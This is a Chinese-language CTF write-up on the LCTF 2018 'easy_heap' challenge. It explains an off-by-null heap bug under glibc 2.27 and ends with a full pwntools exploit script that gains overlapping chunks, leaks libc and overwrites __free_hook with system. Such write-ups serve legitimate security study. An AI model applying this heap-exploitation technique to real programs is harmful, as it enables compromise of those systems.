LCTF_18 easy_heap && ciscn_2019_
背景
国赛第二天碰到这个题了. off-by-null 的漏洞很明显, 直接开始写exp, 但是在构造 prev_size的时候卡住了. 没什么思路, 只好转而去看另一题. 浪费了不少时间.
一直到比赛结束也没搞出来(太菜了). 但是发现场上很多队都做出了这题. 赛后才得知这题竟然是 18年 L_CTF 的原题. 据说拿之前的exp改一下ip和端口就可以直接打...... 这个出题人也太不负责任了吧......
比赛结束之后看了一下当年的 writeup, 发现利用点还挺有意思的, 在此记录一下.
题目分析
题目保护全开, 给了个 libc, 版本是 2.27 的.
功能主要有三个, malloc, free 和 puts.
不过有如下几个限制
- malloc 的 chunk 的 size 只能为 0x100
- 读取输入的时候遇到
\x00
,\n
会终止读取. 细节可以看下面贴的safe_read
函数
漏洞点就是 safe_read
函数中有 off-by-null 漏洞.
贴一下 safe_read
函数(稍微简化了一下):
unsigned __int64 safe_read(char *ptr, int size){
unsigned int cur; // [rsp+14h] [rbp-Ch]
cur = 0;
if ( size ){
while ( 1 ){
read(0, &ptr[cur], 1uLL);
if ( size - 1 < cur || !ptr[cur] || ptr[cur] == 10 )
break;
++cur;
}
ptr[cur] = 0;
ptr[size] = 0; // off-by-null
}
}
漏洞分析
很明显的 off-by-null
漏洞. 自然想的就是要覆盖 prev_in_use
位然后触发 unlink
从而实现 overlap chunk
, 然后进行 fastbin attack
(tcache 就更简单了). 我们先来模拟一下这个过程
0x0000+------+-------+ chunk A
------>| | |<---------
+------+-------+
| |
| |
| |
| |
0x0100+------+-------+ chunk B
------>| | |<---------
+------+-------+
| |
| |
| |
| |
0x0200+------+-------+ chunk C
------>| prev | inuse|<---------
+------+-------+
| |
| |
| |
| |
+--------------+
- malloc A, B, C 三个chunk
- 填满 tcache
- free chunk_A, chunk_A 会进入 unsorted bin
- 把 tcache 空一个位置, 然后将 chunk_B free 进去
- 把 chunk_B malloc 出来利用 off-by-null 漏洞将 chunk_C 的 prev_inuse 位置 0, 同时还得将 chunk_C 的 prev_size 位设为 0x200.
这个时候问题来了. 因为 safe_read
函数会被\x00
截断. 所以我们没办法输入 \x00\x02
. 这也就是这题的难点所在了.
我当时遇到这个问题的时候想到了两种绕过方式, 虽然都失败了, 但还是记录一下吧.
第一种方法是利用遗留数据.
在第一次malloc chunk_B(第1步) 的时候将 chunk_C 的prev_size 位 设为 0x2020, 然后第二次 malloc_B(第5步)的时候将低字节清零, 这样就可以得到 0x200了.
然而发现程序在 free 之前 会调用 memset(ptr, 0, size);
, 绕过失败.
第二中方法就是将 prev_size 构造成 0x201, 但是发现 ptmalloc 获取 prev_size 的时候并不会自己将低位清零, 所以也失败了.
所以这题的关键点其实就是构造 prev_size 了.
看了 writeup 才明白怎么回事儿, 不得不感慨自己对 ptmalloc 的了解还是太浅显了.
ptmalloc 在将一个chunk放到 unsorted bin 中的时候会设置这个chunk的后一个chunk的 prev_size.
我们以下面这个程序为例:
int main(){
void *ps[3];
ps[0] = malloc(0xf8);
ps[1] = malloc(0xf8);
ps[2] = malloc(0xf8);
malloc(0xf8);
free(ps[0]);
free(ps[1]);
free(ps[2]);
return 0;
}
当上面这个程序执行到 return 0;
这一行的时候, 堆布局大概如下:
0x0000+------+-------+
------>| | |
+------+-------+
| |
| |
| |
| |
0x0100+------+-------+
------>|0x100 | |
+------+-------+
| |
| |
| |
| |
0x0200+------+-------+
------>|0x200 | inuse|
+------+-------+
| |
| |
| |
| |
+--------------+
|0x300 |
ptmalloc 会帮我们构造好 prev_size :P
之后就是常规的 off-by-null 思路. 不再赘述
exp
这个 exp 只是实现了将 __free_hook 替换为 system, 但是因为 程序在free 之前会将chunk中的内容清零, 所以也没办法执行 system("/bin/sh"), 可以改成用 one_gadget, 感兴趣的就自己试一下吧.
#coding:utf-8
from pwn import *
import time
import sys
global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
filename = "source_27"
elf = ELF("./"+filename)
io = process("./"+filename)
libc = elf.libc
def lg(name, val):
log.info(name+" : "+hex(val))
def choice(p, idx):
sla(p, "command?\n", str(idx))
def add(p, size, content):
choice(p, 1)
sla(p, 'size', str(size))
sa(p, "content", content)
def delete(p, idx):
choice(p, 2)
sla(p, "index", str(idx))
def show(p, idx):
choice(p, 3)
sla(p, "index", str(idx))
# fill fast bin for const-size
add(io, 0xf0, "aaa\n") # 0
add(io, 0xf8, 'a'*0xf0 + '\02\x02'+'\n') # 1
add(io, 0xf0, "ccc\n") # 2
# add(io, 0x68, "ddd\n") # 3
# fill tcache
for i in range(7):
add(io, 0xf0, "ccc\n") # 3-9
for i in range(3, 10):
delete(io, i) # 3-9
# init prev_size
delete(io, 0)
delete(io, 1)
delete(io, 2)
# empty tcache
for i in range(0, 7):
add(io, 0xf0, 'ddd\n') # 0 - 6
add(io, 7, '7\n')
add(io, 8, '8\n')
add(io, 9, '9\n') # prev_size of this chunk is 0x200
for i in range(0, 6):
delete(io, i)
# in tcache
delete(io, 8)
# 7 in unsorted bin
delete(io, 7)
# off-by-null
add(io, 0xf8, '0\n')
# and then fill tcache again
delete(io, 6)
# unlink and put 0x300 chunk into unsorted bin
delete(io, 9)
# only have 0 now
# empty tcache
for i in range(1, 8):
add(io, 0xf0, '/bin/sh\x00')
# split 0x300 chunk in unsorted bin
add(io, 8, '8\n')
# leak libc
show(io, 0)
ru(io, ' \n> ')
libc_addr = u64(rv(io, 6) + '\x00\x00')
lg("libc_addr", libc_addr)
libc.address = libc_addr -3865760
lg("libc_base", libc.address)
# free_hook
add(io, 9, '9\n')
delete(io, 1)
delete(io, 0)
delete(io, 9)
fh = p64(libc.symbols['__free_hook'])
add(io, 0xf0, fh[:fh.find('\x00')+1])
system = p64(libc.symbols['system'])
add(io, 0xf0, system[:system.find('\x00')+1])
add(io, 0xf0, system[:system.find('\x00')+1])
delete(io, 3)
# io.interactive()
总结
这题的利用点还是很有意思的, 出题人对 ptmalloc 真的是很了解了. 给出题人点个赞.
不过题目再好也别直接啥都不改直接拿来做自己的题目啊. 也不知道哪个队干的, 我是觉得有点过分.
这次比赛主要看了4题, 全都是libc 2.27. 估计现在 ubuntu 18.04 的使用率要比 16.04 还要高了吧.